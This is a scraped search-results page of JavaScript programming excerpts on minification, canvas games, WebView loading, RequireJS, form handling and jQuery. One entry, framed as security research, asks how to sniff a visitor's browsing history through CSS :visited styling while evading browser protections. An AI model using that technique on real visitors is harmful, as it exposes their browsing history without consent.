Search Results

Search found 34187 results on 1368 pages for 'facebook javascript sdk'.

Page 334/1368 | < Previous Page | 330 331 332 333 334 335 336 337 338 339 340 341  | Next Page >

  • Select tool to minimize JavaScript and CSS size

    - by Michael Freidgeim
    There are multiple ways and techniques how to combine and minify JS and CSS files.The good number of links can be found in http://stackoverflow.com/questions/882937/asp-net-script-and-css-compression and in http://www.hanselman.com/blog/TheImportanceAndEaseOfMinifyingYourCSSAndJavaScriptAndOptimizingPNGsForYourBlogOrWebsite.aspx There are 2 major approaches- do it during build or at run-time.In our application there are multiple user-controls, each of them required different JS or CSS files, and they loaded dynamically in the different combinations. We decided that loading all JS or CSS files for each page is not a good idea, but for each page we need to load different set of files.Based on this combining files on the build stage does not looks feasible.After Reviewing  different links I’ve decided that squishit should fit to our needs. http://www.codethinked.com/squishit-the-friendly-aspnet-javascript-and-css-squisherDifferent limitations of using SquishIt.We had some browser specific CSS files, that loaded conditionally depending of browser type(i.e IE and all other browsers). We had to put them in separate bundles,For Resources and AXD files we decide to use HttpModule and HttpHandler created by Mads KristensenTo GZIP html we are using wwWebUtils.GZipEncodePage() http://www.west-wind.com/weblog/posts/2007/Feb/05/More-on-GZip-compression-with-ASPNET-Content Just swap the order of which encoding you apply to start by asking for deflate support and then GZip afterwards.Additional tips about SquishIt.Use CDN: https://groups.google.com/group/squishit/browse_thread/thread/99f3b61444da9ad1Support intellisense and generate bundle in codebehind http://tech.kipusoep.nl/2010/07/23/umbraco-45-visual-studio-2010-dotless-jquery-vsdoc-squishit-masterpages/Links about other Libraries that were consideredA few links from http://stackoverflow.com/questions/5288656/which-one-has-better-minification-between-squishit-and-combres2.Net 4.5 will have out-of-the-box tools for JS/CSS combining.http://weblogs.asp.net/scottgu/archive/2011/11/27/new-bundling-and-minification-support-asp-net-4-5-series.aspx . It suggests default bundle of subfolder, but also seems supporting similar to squishit explicitly specified files.http://www.codeproject.com/KB/aspnet/combres2.aspx  config XML file can specify expiry etchttps://github.com/andrewdavey/cassette http://stackoverflow.com/questions/7026029/alternatives-to-cassetteDynamically loaded JS files requireJS http://requirejs.org/docs/start.html  http://www.west-wind.com/weblog/posts/2008/Jul/07/Inclusion-of-JavaScript-FilesPack and minimize your JavaScript code sizeYUI Compressor (from Yahoo)JSMin (by Douglas Crockford)ShrinkSafe (from Dojo library)Packer (by Dean Edwards)RadScriptManager  & RadStyleSheetManager -fromTeleric(not free)Tools to optimize performance:PageSpeed tools family http://code.google.com/intl/ru/speed/page-speed/download.htmlv

    Read the article

  • Sneaky Javascript For Loop Bug

    - by Liam McLennan
    Javascript allows you to declare variables simply by assigning a value to an identify, in the same style as ruby: myVar = "some text"; Good javascript developers know that this is a bad idea because undeclared variables are assigned to the global object, usually window, making myVar globally visible. So the above code is equivalent to: window.myVar = "some text"; What I did not realise is that this applies to for loop initialisation as well. for (i = 0; i < myArray.length; i += 1) { } // is equivalent to for (window.i = 0; window.i < myArray.length; window.i += 1) { } Combine this with function calls nested inside of the for loops and you get some very strange behaviour, as the value of i is modified simultaneously by code in different scopes. The moral of the story is to ALWAYS declare javascript variables with the var keyword, even when intialising a for loop. for (var i = 0; i < myArray.length; i += 1) { }

    Read the article

  • Smooth animation on a persistently refreshing canvas

    - by Neurofluxation
    Yo everyone! I have been working on an Isometric Tile Game Engine in HTML5/Canvas for a little while now and I have a complete working game. Earlier today I looked back over my code and thought: "hmm, let's try to get this animated smoothly..." And since then, that is all I have tried to do. The problem I would like the character to actually "slide" from tile to tile - but the canvas redrawing doesn't allow this - does anyone have any ideas....? Code and fiddle below... Fiddle with it! http://jsfiddle.net/neuroflux/n7VAu/ <html> <head> <title>tileEngine - Isometric</title> <style type="text/css"> * { margin: 0px; padding: 0px; font-family: arial, helvetica, sans-serif; font-size: 12px; cursor: default; } </style> <script type="text/javascript"> var map = Array( //land [[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0]], [[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0]], [[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0]], [[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0]], [[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0]], [[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0]], [[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0]], [[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0]], [[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0]], [[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0]] ); var tileDict = Array("http://www.wikiword.co.uk/release-candidate/canvas/tileEngine/land.png"); var charDict = Array("http://www.wikiword.co.uk/release-candidate/canvas/tileEngine/mario.png"); var objectDict = Array("http://www.wikiword.co.uk/release-candidate/canvas/tileEngine/rock.png"); //last is one more var objectImg = new Array(); var charImg = new Array(); var tileImg = new Array(); var loaded = 0; var loadTimer; var ymouse; var xmouse; var eventUpdate = 0; var playerX = 0; var playerY = 0; function loadImg(){ //preload images and calculate the total loading time for(var i=0;i<tileDict.length;i++){ tileImg[i] = new Image(); tileImg[i].src = tileDict[i]; tileImg[i].onload = function(){ loaded++; } } i = 0; for(var i=0;i<charDict.length;i++){ charImg[i] = new Image(); charImg[i].src = charDict[i]; charImg[i].onload = function(){ loaded++; } } i = 0; for(var i=0;i<objectDict.length;i++){ objectImg[i] = new Image(); objectImg[i].src = objectDict[i]; objectImg[i].onload = function(){ loaded++; } } } function checkKeycode(event) { //key pressed var keycode; if(event == null) { keyCode = window.event.keyCode; } else { keyCode = event.keyCode; } switch(keyCode) { case 38: //left if(!map[playerX-1][playerY][1] > 0){ playerX--; } break; case 40: //right if(!map[playerX+1][playerY][1] > 0){ playerX++; } break; case 39: //up if(!map[playerX][playerY-1][1] > 0){ playerY--; } break; case 37: //down if(!map[playerX][playerY+1][1] > 0){ playerY++; } break; default: break; } } function loadAll(){ //load the game if(loaded == tileDict.length + charDict.length + objectDict.length){ clearInterval(loadTimer); loadTimer = setInterval(gameUpdate,100); } } function drawMap(){ //draw the map (in intervals) var tileH = 25; var tileW = 50; mapX = 80; mapY = 10; for(i=0;i<map.length;i++){ for(j=0;j<map[i].length;j++){ var drawTile= map[i][j][0]; var xpos = (i-j)*tileH + mapX*4.5; var ypos = (i+j)*tileH/2+ mapY*3.0; ctx.drawImage(tileImg[drawTile],xpos,ypos); if(i == playerX && j == playerY){ you = ctx.drawImage(charImg[0],xpos,ypos-(charImg[0].height/2)); } } } } function init(){ //initialise the main functions and even handlers ctx = document.getElementById('main').getContext('2d'); loadImg(); loadTimer = setInterval(loadAll,10); document.onkeydown = checkKeycode; } function gameUpdate() { //update the game, clear canvas etc ctx.clearRect(0,0,904,460); ctx.fillStyle = "rgba(255, 255, 255, 1.0)"; //assign color drawMap(); } </script> </head> <body align="center" style="text-align: center;" onload="init()"> <canvas id="main" width="904" height="465"> <h1 style="color: white; font-size: 24px;">I'll be damned, there be no HTML5 &amp; canvas support on this 'ere electronic machine!<sub>This game, jus' plain ol' won't work!</sub></h1> </canvas> </body> </html>

    Read the article

  • Validate that a Checkbox is checked using javascript

    - by H(at)Ni
    I was facing a challenge yesterday that I was creating a Visual webpart and I wanted to validate the a submit button is only visible if the user checked a "I agree to terms" checkbox. Something was weired that I tested my code on a normal asp.net website and it worked perfectly while it had a different behaviour inside the webpart which is whenever I check the checkbox, the button is enabled but it will not fire the asp.net validators in client side. It posts back the page and then the validators appear after that. So, I tried to change my type of thinking and I reached a different solution is that to call a javascript function whenever the button is clicked and then check if the checkbox is clicked or not. To illustrate more, here are an example to what I'm saying: 1. Button in aspx page: <asp:Button OnClientClick="CheckForCondition();"  ValidationGroup="CompaniesSection" ID="btnCompaniesSubmit"                         runat="server" Text="Submit" /> 2. CheckForCondition() function: <script language="javascript" type="text/javascript">                         function CheckForCondition() {                             if ($jq('#<%= ChkCompanyCheck.ClientID %>:checked').val() == undefined) {                                 $jq('#lblCheckBox').show();                                 return false;                             }                             else {                                 $jq('#lblCheckBox').hide();                                 return true;                             }                         }                      </script> 3. lblCheckBox is simply a label that shows a red asterisk beside the checkbox to indicate that it's a required field. <label id="lblCheckBox" style="color:Red;display:none">*</label>

    Read the article

  • No Obvious Answer - Query-Strings and Javascript

    - by nchaud
    Say I have this main page /my-site/all-my-bath-soaps which lists all my products. It has a search filter text box that uses javascript to filter the products they want to see on that page (the URL doesn't change as they filter). Now from many other parts of the site I want to navigate to this products-page and see specific products. E.g. <a href="/my-site/all-my-bath-soaps?filter='Nivea-Soap'"> will go to /all-my-bath-soaps and apply javascript filtering to see just that product and hide all dom nodes for the other products. The problem is if the user changes the text in the filter from 'Nivea-Soap' to 'Lynx' the javascript will work fine and show the new products but the URL stays at ?filter='Nivea-Soap'. Is there anything I can do about this? Of course, I don't want to reload the page with a new query string every time they change the search criteria. Somehow it'd be great to move the ?filter=... criteria into POST data instead - but how can I do this with a link I don't know...

    Read the article

  • Javascript is not loading

    - by Oden
    Hey, I've got a problem with JavaScript under Ubuntu, that drives me crazy. I'm using Gedit for my web sites since I'm an Ubuntu user. When I start a new website I create (usually with the gnome terminal) folder structure, and I copy the files I need into them. The next step is creating an index.html where I build the design and basic JavaScript functionality. JavaScript is stored in a sub-folder of the project and when i try to load one using the tag in the header, my whole page body disappears. If the source contains a script tag with its own body, and its not the first its code wont run. I've tried to solve the problem by setting chmod to 777 with sudo chmod -R 777 . but nothing changed. CSS is loading correctly, but JS isn't. I'm using the newest version of apache, no mod_rewrite stuff, but i get the same problem when I run the html from file (file:///...) Do anyone know how to solve this problem?

    Read the article

  • Calling a webservice via Javascript

    - by jeroenb
    If you want to consume a webservice, it's not allways necessary to do a postback. It's even not that hard! 1. Webservice You have to add the scriptservice attribute to the webservice. [System.Web.Script.Services.ScriptService]public class PersonsInCompany : System.Web.Services.WebService { Create a WebMethod [WebMethod] public Person GetPersonByFirstName(string name) { List<Person> personSelect = persons.Where(p => p.FirstName.ToLower().StartsWith(name.ToLower())).ToList(); if (personSelect.Count > 0) return personSelect.First(); else return null; } 2. webpage Add reference to your service to your scriptmanager <script type="text/javascript"> function GetPersonInCompany() { var val = document.getElementById("MainContent_TextBoxPersonName"); PersonsInCompany.GetPersonByFirstName(val.value, FinishCallback); } function FinishCallback(result) { document.getElementById("MainContent_LabelFirstName").innerHTML = result.FirstName; document.getElementById("MainContent_LabelName").innerHTML = result.Name; document.getElementById("MainContent_LabelAge").innerHTML = result.Age; document.getElementById("MainContent_LabelCompany").innerHTML = result.Company; } </script> Add some javascript, where you first call your webservice. Classname.Webmethod = PersonsInCompany.GetPersonByFirstName Add a callback to catch the result from the webservice. And use the result to update your page. <script type="text/javascript"> function GetPersonInCompany() { var val = document.getElementById("MainContent_TextBoxPersonName"); PersonsInCompany.GetPersonByFirstName(val.value, FinishCallback); } function FinishCallback(result) { document.getElementById("MainContent_LabelFirstName").innerHTML = result.FirstName; document.getElementById("MainContent_LabelName").innerHTML = result.Name; document.getElementById("MainContent_LabelAge").innerHTML = result.Age; document.getElementById("MainContent_LabelCompany").innerHTML = result.Company; } </script>   If you have any question, feel free to contact me! You can download the code here.

    Read the article

  • RequireJS: JavaScript for the Enterprise

    - by Geertjan
    I made a small introduction to RequireJS via some of the many cool new RequireJS features in NetBeans IDE. I believe RequireJS, and the modularity and encapsulation and loading solutions that it brings, provides the tools needed for creating large JavaScript applications, i.e., enterprise JavaScript applications. &amp;amp;lt;span id=&amp;amp;quot;XinhaEditingPostion&amp;amp;quot;&amp;amp;gt;&amp;amp;lt;/span&amp;amp;gt; (Sorry for the wobbly sound in the above.) An interesting comment by my colleague John Brock on the above: One other advantage that RequireJS brings, is called lazy loading of resources. In your first example, everyone one of those .js files is loaded when the first file is loaded in the browser. By using the require() call in your modules, your application will only load the javascript modules when they are actually needed. It makes for faster startup in large applications. You could show this by showing the libraries that are loaded in the Network Monitor window. So I did as suggested: Click the screenshot to enlarge it and notice how the Network Monitor is helpful in the context of RequireJS troubleshooting.

    Read the article

  • Android WebView not loading a JavaScript file, but Android Browser loads it fine.

    - by Justin
    I'm writing an application which connects to a back office site. The backoffice site contains a whole slew of JavaScript functions, at least 100 times the average site. Unfortunately it does not load them, and causes much of the functionality to not work properly. So I am running a test. I put a page out on my server which loads the FireBugLite javascript text. Its a lot of javascript and perfect to test and see if the Android WebView will load it. The WebView loads nothing, but the browser loads the Firebug Icon. What on earth would make the difference, why can it run in the browser and not in my WebView? Any suggestions. More background information, in order to get the stinking backoffice application available on a Droid (or any other platform except windows) I needed to trick the bakcoffice application to believe what's accessing the website is Internet Explorer. I do this by modifying the WebView User Agent. Also for this application I've slimmed my landing page, so I could give you the source to offer me aid. package ksc.myKMB; import android.app.Activity; import android.app.AlertDialog; import android.app.Dialog; import android.app.ProgressDialog; import android.content.DialogInterface; import android.graphics.Bitmap; import android.os.Bundle; import android.view.Menu; import android.view.MenuInflater; import android.view.MenuItem; import android.view.Window; import android.webkit.WebChromeClient; import android.webkit.WebView; import android.webkit.WebSettings; import android.webkit.WebViewClient; import android.widget.Toast; public class myKMB extends Activity { /** Called when the activity is first created. */ @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); /** Performs base set up */ /** Create a Activity of this Activity, IE myProcess */ myProcess = this; /*** Create global objects and web browsing objects */ HideDialogOnce = true; webview = new WebView(this) { }; webChromeClient = new WebChromeClient() { public void onProgressChanged(WebView view, int progress) { // Activities and WebViews measure progress with different scales. // The progress meter will automatically disappear when we reach 100% myProcess.setProgress((progress * 100)); //CreateMessage("Progress is : " + progress); } }; webViewClient = new WebViewClient() { public void onReceivedError(WebView view, int errorCode, String description, String failingUrl) { Toast.makeText(myProcess, MessageBegText + description + MessageEndText, Toast.LENGTH_SHORT).show(); } public void onPageFinished (WebView view, String url) { /** Hide dialog */ try { // loadingDialog.dismiss(); } finally { } //myProcess.setProgress(1000); /** Fon't show the dialog while I'm performing fixes */ //HideDialogOnce = true; view.loadUrl("javascript:document.getElementById('JTRANS011').style.visibility='visible';"); } public void onPageStarted(WebView view, String url, Bitmap favicon) { if (HideDialogOnce == false) { //loadingDialog = ProgressDialog.show(myProcess, "", // "One moment, the page is laoding...", true); } else { //HideDialogOnce = true; } } }; getWindow().requestFeature(Window.FEATURE_PROGRESS); webview.setWebChromeClient(webChromeClient); webview.setWebViewClient(webViewClient); setContentView(webview); /** Load the Keynote Browser Settings */ LoadSettings(); webview.loadUrl(LandingPage); } /** Get Menu */ @Override public boolean onCreateOptionsMenu(Menu menu) { MenuInflater inflater = getMenuInflater(); inflater.inflate(R.menu.menu, menu); return true; } /** an item gets pushed */ @Override public boolean onOptionsItemSelected(MenuItem item) { switch (item.getItemId()) { // We have only one menu option case R.id.quit: System.exit(0); break; case R.id.back: webview.goBack(); case R.id.refresh: webview.reload(); case R.id.info: //IncludeJavascript(""); } return true; } /** Begin Globals */ public WebView webview; public WebChromeClient webChromeClient; public WebViewClient webViewClient; public ProgressDialog loadingDialog; public Boolean HideDialogOnce; public Activity myProcess; public String OverideUserAgent_IE = "Mozilla/5.0 (Windows; MSIE 6.0; Android 1.6; en-US) AppleWebKit/525.10+ (KHTML, like Gecko) Version/3.0.4 Safari/523.12.2 myKMB/1.0"; public String LandingPage = "http://kscserver.com/main-leap-slim.html"; public String MessageBegText = "Problem making a connection, Details: "; public String MessageEndText = " For Support Call: (xxx) xxx - xxxx."; public void LoadSettings() { webview.getSettings().setUserAgentString(OverideUserAgent_IE); webview.getSettings().setJavaScriptEnabled(true); webview.getSettings().setBuiltInZoomControls(true); webview.getSettings().setSupportZoom(true); } /** Creates a message alert dialog */ public void CreateMessage(String message) { AlertDialog.Builder builder = new AlertDialog.Builder(this); builder.setMessage(message) .setCancelable(true) .setNegativeButton("Close", new DialogInterface.OnClickListener() { public void onClick(DialogInterface dialog, int id) { dialog.cancel(); } }); AlertDialog alert = builder.create(); alert.show(); } } My Application is running in the background, and as you can see no Firebug in the lower right hand corner. However the browser (the emulator on top) has the same page but shows the firebug. What am I doing wrong? I'm assuming its either not enough memory allocated to the application, process power allocation, or a physical memory thing. I can't tell, all I know is the results are strange. I get the same thing form my android device, the application shows no firebug but the browser shows the firebug.

    Read the article

  • CSS/JavaScript/hacking: Detect :visited styling on a link *without* checking it directly OR do it fa

    - by Sai Emrys
    This is for research purposes on http://cssfingerprint.com Consider the following code: <style> div.csshistory a { display: none; color: #00ff00;} div.csshistory a:visited { display: inline; color: #ff0000;} </style> <div id="batch" class="csshistory"> <a id="1" href="http://foo.com">anything you want here</a> <a id="2" href="http://bar.com">anything you want here</a> [etc * ~2000] </div> My goal is to detect whether foo has been rendered using the :visited styling. I want to detect whether foo.com is visited without directly looking at $('1').getComputedStyle (or in Internet Explorer, currentStyle), or any other direct method on that element. The purpose of this is to get around a potential browser restriction that would prevent direct inspection of the style of visited links. For instance, maybe you can put a sub-element in the <a> tag, or check the styling of the text directly; etc. Any method that does not directly or indierctly rely on $('1').anything is acceptable. Doing something clever with the child or parent is probably necessary. Note that for the purposes of this point only, the scenario is that the browser will lie to JavaScript about all properties of the <a> element (but not others), and that it will only render color: in :visited. Therefore, methods that rely on e.g. text size or background-image will not meet this requirement. I want to improve the speed of my current scraping methods. The majority of time (at least with the jQuery method in Firefox) is spent on document.body.appendChild(batch), so finding a way to improve that call would probably most effective. See http://cssfingerprint.com/about and http://cssfingerprint.com/results for current speed test results. The methods I am currently using can be seen at http://github.com/saizai/cssfingerprint/blob/master/public/javascripts/history_scrape.js To summarize for tl;dr, they are: set color or display on :visited per above, and check each one directly w/ getComputedStyle put the ID of the link (plus a space) inside the <a> tag, and using jQuery's :visible selector, extract only the visible text (= the visited link IDs) FWIW, I'm a white hat, and I'm doing this in consultation with the EFF and some other fairly well known security researchers. If you contribute a new method or speedup, you'll get thanked at http://cssfingerprint.com/about (if you want to be :-P), and potentially in a future published paper. ETA: The bounty will be rewarded only for suggestions that can, on Firefox, avoid the hypothetical restriction described in point 1 above, or perform at least 10% faster, on any browser for which I have sufficient current data, than my best performing methods listed in the graph at http://cssfingerprint.com/about In case more than one suggestion fits either criterion, the one that does best wins.

    Read the article

  • How can I get Firefox to update background-color on a:hover *before* a javascript routine is run?

    - by Rob
    I'm having a Firefox-specific issue with a script I wrote to create 3d layouts. The correct behavior is that the script pulls the background-color from an element and then uses that color to draw on the canvas. When a user mouses over a link and the background-color changes to the :hover rule, the color being drawn changes on the canvas changes as well. When the user mouses out, the color should revert back to non-hover color. This works as expected in Webkit browsers and Opera, but it seems like Firefox doesn't update the background-color in CSS immediately after a mouseout event occurs, so the current background-color doesn't get drawn if a mouseout occurs and it isn't followed up by another event that calls the draw() routine. It works just fine in Opera, Chrome, and Safari. How can I get Firefox to cooperate? I'm including the code that I believe is most relevant to my problem. Any advice on how I fix this problem and get a consistent effect would be very helpful. function drawFace(coord, mid, popColor,gs,x1,x2,side) { /*Gradients in our case run either up/down or left right. We have two algorithms depending on whether or not it's a sideways facing piece. Rather than parse the "rgb(r,g,b)" string(popColor) retrieved from elsewhere, it is simply offset with the gs variable to give the illusion that it starts at a darker color.*/ var canvas = document.getElementById('depth'); //This is for excanvas.js var G_vmlCanvasManager; if (G_vmlCanvasManager != undefined) { // ie IE G_vmlCanvasManager.initElement(canvas); } //Init canvas if (canvas.getContext) { var ctx = canvas.getContext('2d'); if (side) var lineargradient=ctx.createLinearGradient(coord[x1][0]+gs,mid[1],mid[0],mid[1]); else var lineargradient=ctx.createLinearGradient(coord[0][0],coord[2][1]+gs,coord[0][0],mid[1]); lineargradient.addColorStop(0,popColor); lineargradient.addColorStop(1,'black'); ctx.fillStyle=lineargradient; ctx.beginPath(); //Draw from one corner to the midpoint, then to the other corner, //and apply a stroke and a fill. ctx.moveTo(coord[x1][0],coord[x1][1]); ctx.lineTo(mid[0],mid[1]); ctx.lineTo(coord[x2][0],coord[x2][1]); ctx.stroke(); ctx.fill(); } } function draw(e) { var arr = new Array() var i = 0; var mid = new Array(2); $(".pop").each(function() { mid[0]=Math.round($(document).width()/2); mid[1]=Math.round($(document).height()/2); arr[arr.length++]=new getElemProperties(this,mid); i++; }); arr.sort(sortByDistance); clearCanvas(); for (a=0;a<i;a++) { /*In the following conditional statements, we're testing to see which direction faces should be drawn, based on a 1-point perspective drawn from the midpoint. In the first statement, we're testing to see if the lower-left hand corner coord[3] is higher on the screen than the midpoint. If so, we set it's gradient starting position to start at a point in space 60pixels higher(-60) than the actual side, and we also declare which corners make up our face, in this case the lower two corners, coord[3], and coord[2].*/ if (arr[a].bottomFace) drawFace(arr[a].coord,mid,arr[a].popColor,-60,3,2); if (arr[a].topFace) drawFace(arr[a].coord,mid,arr[a].popColor,60,0,1); if (arr[a].leftFace) drawFace(arr[a].coord,mid,arr[a].popColor,60,0,3,true); if (arr[a].rightFace) drawFace(arr[a].coord,mid,arr[a].popColor,-60,1,2,true); } } $("a.pop").bind("mouseenter mouseleave focusin focusout",draw); If you need to see the effect in action, or if you want the full javascript code, you can check it out here: http://www.robnixondesigns.com/strangematter/

    Read the article

  • Is it possible to call Javascript's onsubmit event programatically on a form?

    - by hoyhoy
    In Ruby on Rails, I'm attempting to update the innerHTML of a div tag using the form_remote_tag helper. This update happens whenever an associated select tag receives an onchange event. The problem is, <select onchange="this.form.submit();">; doesn't work. Nor does document.forms[0].submit(). The only way to get the onsubmit code generated in the form_remote_tag to execute is to create a hidden submit button, and invoke the click method on the button from the select tag. Here's a working ERb partial example. <% form_remote_tag :url => product_path, :update => 'content', :method => 'get' do -%> <% content_tag :div, :id => 'content' do -%> <%= select_tag :update, options_for_select([["foo", 1], ["bar", 2]]), :onchange => "this.form.commit.click" %> <%= submit_tag 'submit_button', :style => "display: none" %> <% end %> <% end %> What I want to do is something like this, but it doesn't work. <% form_remote_tag :url => product_path, :update => 'content', :method => 'get' do -%> <% content_tag :div, :id => 'content' do -%> # the following line does not work <%= select_tag :update, options_for_select([["foo", 1], ["bar", 2]]), :onchange => "this.form.onsubmit()" %> <% end %> <% end %> So, is there any way to remove the invisible submit button for this use case? There seems to be some confusion. So, let me explain. The basic problem is that submit() doesn't call the onsubmit() code rendered into the form. The actual HTML form that Rails renders from this ERb looks like this: <form action="/products/1" method="post" onsubmit="new Ajax.Updater('content', '/products/1', {asynchronous:true, evalScripts:true, method:'get', parameters:Form.serialize(this)}); return false;"> <div style="margin:0;padding:0"> <input name="authenticity_token" type="hidden" value="4eacf78eb87e9262a0b631a8a6e417e9a5957cab" /> </div> <div id="content"> <select id="update" name="update" onchange="this.form.commit.click"> <option value="1">foo</option> <option value="2">bar</option> </select> <input name="commit" style="display: none" type="submit" value="submit_button" /> </div> </form> I want to axe the invisible submit button, but using a straight form.submit appears to not work. So, I need some way to call the form's onsubmit event code. Update: Orion Edwards solution would work if there wasn't a return(false); generated by Rails. I'm not sure which is worse though, sending a phantom click to an invisible submit button or calling eval on the getAttribute('onsubmit') call after removing the return call with a javascript string replacement!

    Read the article

  • How can I hit my database with an AJAX call using javascript?

    - by tmedge
    I am pretty new at this stuff, so bear with me. I am using ASP.NET MVC. I have created an overlay to cover the page when someone clicks a button corresponding to a certain database entry. Because of this, ALL of my code for this functionality is in a .js file contained within my project. What I need to do is pull the info corresponding to my entry from the database itself using an AJAX call, and place that into my textboxes. Then, after the end-user has made the desired changes, I need to update that entry's values to match the input. I've been surfing the web for a while, and have failed to find an example that fits my needs effectively. Here is my code in my javascript file thus far: function editOverlay(picId) { //pull up an overlay $('body').append('<div class="overlay" />'); var $overlayClass = $('.overlay'); $overlayClass.append('<div class="dataModal" />'); var $data = $('.dataModal'); overlaySetup($overlayClass, $data); //set up form $data.append('<h1>Edit Picture</h1><br /><br />'); $data.append('Picture name: &nbsp;'); $data.append('<input class="picName" /> <br /><br /><br />'); $data.append('Relative url: &nbsp;'); $data.append('<input class="picRelURL" /> <br /><br /><br />'); $data.append('Description: &nbsp;'); $data.append('<textarea class="picDescription" /> <br /><br /><br />'); var $nameBox = $('.picName'); var $urlBox = $('.picRelURL'); var $descBox = $('.picDescription'); var pic = null; //this is where I need to pull the actual object from the db //var imgList = for (var temp in imgList) { if (temp.Id == picId) { pic= temp; } } /* $nameBox.attr('value', pic.Name); $urlBox.attr('value', pic.RelativeURL); $descBox.attr('value', pic.Description); */ //close buttons $data.append('<input type="button" value="Save Changes" class="saveButton" />'); $data.append('<input type="button" value="Cancel" class="cancelButton" />'); $('.saveButton').click(function() { /* pic.Name = $nameBox.attr('value'); pic.RelativeURL = $urlBox.attr('value'); pic.Description = $descBox.attr('value'); */ //make a call to my Save() method in my repository CloseOverlay(); }); $('.cancelButton').click(function() { CloseOverlay(); }); } The stuff I have commented out is what I need to accomplish and/or is not available until prior issues are resolved. Any and all advice is appreciated! Remember, I am VERY new to this stuff (two weeks, to be exact) and will probably need highly explicit instructions. BTW: overlaySetup() and CloseOverlay() are functions I have living someplace else. Thanks!

    Read the article

  • Delaying execution of Javascript function relative to Google Maps / geoxml3 parser?

    - by Terra Fimeira
    I'm working on a implementing a Google map on a website with our own tiles overlays and KML elements. I've been previously requested to create code so that, for instance, when the page is loaded from a specific URL, it would initialize with one of the tile overlays already enabled. Recently, I've been requested to do the same for the buildings which are outlined by KML elements so that, arriving at the page with a specific URL, it would automatically zoom, center, and display information on the building. However, while starting with the tile overlays work, the building KML does not. After doing some testing, I've determined that when the code which checks the URL executes, the page is still loading the KML elements and thus do not exist for the code to compare to or use: Code for evaluating URL (placed at the end of onLoad="initialize()") function urlClick() { var currentURL = window.location.href; //Retrieve page URL var URLpiece = currentURL.slice(-6); //pull the last 6 digits (for testing) if (URLpiece === "access") { //If the resulting string is "access": access_click(); //Display accessibility overlay } else if (URLpiece === "middle") { //Else if the string is "middle": facetClick('Middle College'); //Click on building "Middle College" }; }; facetClick(); function facetClick(name) { //Convert building name to building ID. for (var i = 0; i < active.placemarks.length; i++) { if (active.placemarks[i].name === name) { sideClick(i) //Click building whose id matches "Middle College" }; }; }; Firebug Console Error active is null for (var i = 0; i < active.placemarks.length; i++) { active.placemarks is which KML elements are loaded on the page, and being null, means no KML has been loaded yet. In short, I have a mistiming and I can't seem to find a suitable place to place the URL code to execute after the KMl has loaded. As noted above, I placed it at the end of onLoad="initialize()", but it would appear that, instead of waiting for the KML to completely load earlier in the function, the remainder of the function is executed: onLoad="initialize()" information(); //Use the buttons variables inital state to set up description buttons(); //and button state button_hover(0); //and button description to neutral. //Create and arrange the Google Map. //Create basic tile overlays. //Set up parser to work with KML elements. myParser = new geoXML3.parser({ //Parser: Takes KML and converts to JS. map: map, //Applies parsed KML to the map singleInfoWindow: true, afterParse: useTheData //Allows us to use the parsed KML in a function }); myParser.parse(['/maps/kml/shapes.kml','/maps/kml/shapes_hidden.kml']); google.maps.event.addListener(map, 'maptypeid_changed', function() { autoOverlay(); }); //Create other tile overlays to appear over KML elements. urlClick(); I suspect one my issues lies in using the geoxml3 parser (http://code.google.com/p/geoxml3/) which converts our KML files to Javascript. While the page has completed loading all of the elements, the map on the page is still loading, including the KML elements. I have also tried placing urlClick() in the parser itself in various places which appear to execute after all the shapes have been parsed, but I've had no success there either. While I've been intending to strip out the parser, I would like to know if there is any way of executing the "urlClick" after the parser has returned the KML shapes. Ideally, I don't want to use an arbitrary means of defining a time to wait, such as "wait 3 seconds, and go", as my various browsers all load the page at different times; rather, I'm looking for some way to say "when the parser is done, execute" or "when the Google map is completely loaded, execute" or perhaps even "hold until the parser is complete before advancing to urlClick".

    Read the article

  • Javascript :(….. Oh!! So its jquery? Now what?? I’m a C# Guy

    - by Shekhar_Pro
    Hi guys I want you to Guide me here. This other day I was working out some AJAX for my ASP.Net website and handling client side code in Java was taking the hell out of me. Then I got my hands on this Book jQuery In Action 2nd Edition and solved my problem with the help of Example code in the book. Now as I checked the contents I got an overview that whatever I had ever thought of doing can be done by this jQuery so easily and quite cleanly. I am actually pretty new to web development (say abt 4months ) and from C# world where we have cool libraries and Simple and Elegant coding style. (yeah including those generic, Ienumerable, lambadas, chained statements.. you got it…) and you know what you’re doing when writing some code. And we have so great IntelliSense to care., and above all we have everything Strongly Typed. But in Javascript everything is so messy.. . (and I don’t know why they are not properly indented.. see page source ) Now tell me what should I do, go straight with jQuery or should I first learn Javascript (like a disciplined boy…I even have a book for that too… got in gift :) …. ) I have seen Is it a good idea to learn JavaScript before learning jQuery? but remember I have already got a project on my hand…

    Read the article

  • Weird Javascript in Template. Is this a hacking attempt?

    - by Julian
